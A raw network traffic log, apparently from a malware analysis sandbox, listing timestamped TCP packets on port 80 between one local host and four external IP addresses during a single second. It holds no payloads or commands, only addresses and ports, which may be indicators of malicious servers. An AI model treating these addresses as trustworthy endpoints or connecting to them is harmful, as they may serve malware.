Aug 30, 2024 03:17:07.474067926 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.474071026 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.474096060 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.474116087 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.474134922 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.474195957 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.474208117 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.474216938 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.474234104 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.474257946 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.484175920 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.484220028 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.484230995 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.484230995 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.484270096 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.484349966 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.484359980 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.484369993 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.484381914 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.484395027 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.484405994 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.484433889 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.484657049 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.484704018 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.484705925 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.484715939 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.484739065 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.484755993 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.484812021 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.484823942 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.484833002 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.484843969 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.484920979 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.484920979 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.485337973 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.485377073 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.485385895 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.485397100 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.485424042 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.485457897 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.485470057 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.485479116 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.485491991 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.485503912 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.485512018 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.485541105 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.485563040 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.485574961 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.485584974 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.485595942 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.485606909 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.485608101 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.485622883 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.485632896 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.485634089 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.485647917 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.485673904 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.486506939 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.486516953 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.486526966 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.486553907 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.486572981 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.486577034 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.486584902 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.486589909 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.486644983 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.486654997 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.486658096 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.486677885 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.486705065 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.486779928 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.486819983 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.486828089 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.486839056 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.486867905 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.486884117 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.486901999 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.486912966 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.486922979 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.486943960 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.486968040 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.486970901 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.486983061 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.487009048 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.487015009 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.487047911 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.487095118 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.487104893 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.487114906 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.487131119 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.487137079 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.487163067 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.487189054 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.487200022 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.487221003 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.487230062 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.487231970 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.487241030 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.487252951 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.487257004 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.487267971 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.487279892 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.487289906 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.487303019 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.487318993 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.487329960 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.487332106 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.487345934 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.487356901 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.487358093 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.487374067 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.487390995 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.487416983 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.487432957 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.487445116 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.487456083 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.487471104 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.487484932 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.487499952 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.487510920 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.487510920 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.487536907 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.487544060 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.487549067 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.487559080 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.487570047 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.487580061 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.487600088 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.487606049 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.487612009 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.487643003 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.487644911 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.487653017 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.487690926 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.487723112 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.487734079 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.487742901 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.487752914 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.487762928 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.487762928 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.487765074 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.487775087 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.487802982 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.487837076 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.487847090 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.487857103 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.487865925 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.487874031 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.487876892 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.487900019 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.487900019 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.487914085 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.487924099 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.487931013 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.487942934 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.487962008 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.488056898 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.488068104 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.488076925 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.488095999 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.488101006 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.488109112 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.488115072 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.488120079 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.488131046 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.488141060 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.488142014 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.488152981 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.488162041 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.488188028 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.488195896 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.488207102 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.488217115 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.488228083 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.488239050 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.488244057 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.488257885 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.488282919 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.488286972 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.488298893 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.488307953 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.488322020 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.488334894 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.488347054 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.488353014 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.488356113 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.488367081 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.488367081 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.488377094 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.488396883 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.488398075 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.488423109 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.488475084 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.488491058 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.488502026 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.488512039 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.488523960 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.488527060 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.488533974 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.488534927 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.488565922 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.488585949 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.488881111 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:07.488890886 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.488900900 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.488910913 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.488922119 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.488926888 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:07.488930941 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.488940954 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.488941908 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.488951921 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.488954067 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.488965988 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.488974094 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.488976002 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.488984108 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.488986969 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.489012003 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.489022970 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.489037991 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.489041090 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.489053011 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.489058971 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.489065886 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.489073038 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.489084959 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.489087105 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.489095926 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.489105940 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.489106894 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.489124060 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.489134073 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.489136934 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.489145041 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.489145994 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.489157915 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.489170074 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.489180088 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.489181042 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.489191055 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.489202023 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.489211082 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:07.489211082 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.489228964 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.489257097 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:07.491008043 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.491018057 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.491027117 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.491056919 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.491071939 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.491108894 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.491118908 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.491132021 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.491146088 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.491151094 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.491163015 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.491168976 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.491172075 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.491183043 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.491189957 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.491193056 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.491204023 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.491223097 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.491226912 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.491244078 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.491245985 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.491254091 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.491255045 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.491266966 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.491275072 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.491281033 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.491300106 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.491326094 CEST	49736	80	192.168.2.4	154.216.17.134
Aug 30, 2024 03:17:07.491761923 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.491771936 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.491780996 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.491806030 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.491816044 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.491816998 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.491830111 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.491835117 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.491843939 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.491852045 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.491858006 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.491863012 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.491872072 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.491894960 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.491961956 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.491971016 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.492005110 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.492036104 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.492070913 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.492078066 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.492089033 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.492135048 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.492146015 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.492156029 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.492165089 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.492188931 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.492197990 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.492198944 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.492208004 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.492234945 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.492237091 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.492242098 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.492245913 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.492255926 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.492266893 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.492273092 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.492279053 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.492300987 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.492352962 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.492371082 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.492382050 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.492392063 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.492407084 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.492413998 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.492419958 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.492430925 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.492441893 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.492449999 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.492453098 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.492463112 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.492463112 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.492486954 CEST	80	49735	31.41.244.9	192.168.2.4
Aug 30, 2024 03:17:07.492496967 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.492518902 CEST	49735	80	192.168.2.4	31.41.244.9
Aug 30, 2024 03:17:07.493065119 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.493076086 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.493084908 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.493108034 CEST	80	49736	154.216.17.134	192.168.2.4
Aug 30, 2024 03:17:07.493123055 CEST	49736	80	192.168.2.4	154.216.17.134
